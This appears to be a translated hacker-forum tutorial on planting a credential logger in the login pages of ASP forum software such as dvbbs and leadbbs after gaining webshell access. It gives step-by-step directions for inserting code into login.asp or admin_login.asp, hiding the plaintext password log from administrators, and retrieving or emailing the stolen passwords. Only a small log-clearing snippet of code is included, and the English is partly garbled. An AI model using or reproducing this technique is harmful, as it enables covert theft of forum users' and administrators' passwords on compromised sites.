ASP records forum user passwords (dvbbs, leadbbs, etc)

Many people are depressed when they get a database with a dynamic network --Now We Have Another Method !!!!!

This is to use asp to record the plaintext password.

Usage:

1. Insert this code into the end of the login. asp or admin_login.asp file to verify the login.
2. Change the PATH to an accessible PATH on the web, such as: C:/Inetpub/wwwroot/.../Info.txtinfo.txt. The deeper the PATH, the better, to prevent the admin from discovering it)
3. Your webshell must have the permission to modify the file and FileSystemObject is available.
4. Access http: //.../Info.txt on IE after a period of time to view the account password of the logged-on user.
5. On IE, enter http: //.../(which your modified). asp? U=delcan clear the content of info.txt.

Note:

1. You can add other functions for it, such as record-recorded users and email receiving passwords.
2.In order to prevent excessive info.txtsizes, I use the clear info.txt method.

Of course, you can create a new file to solve this problem.

If filesize> 200000 then
Set file2 = fso. OpenTextFile (PATH, 2, True)
File2.WriteLine ""
File2.close
End if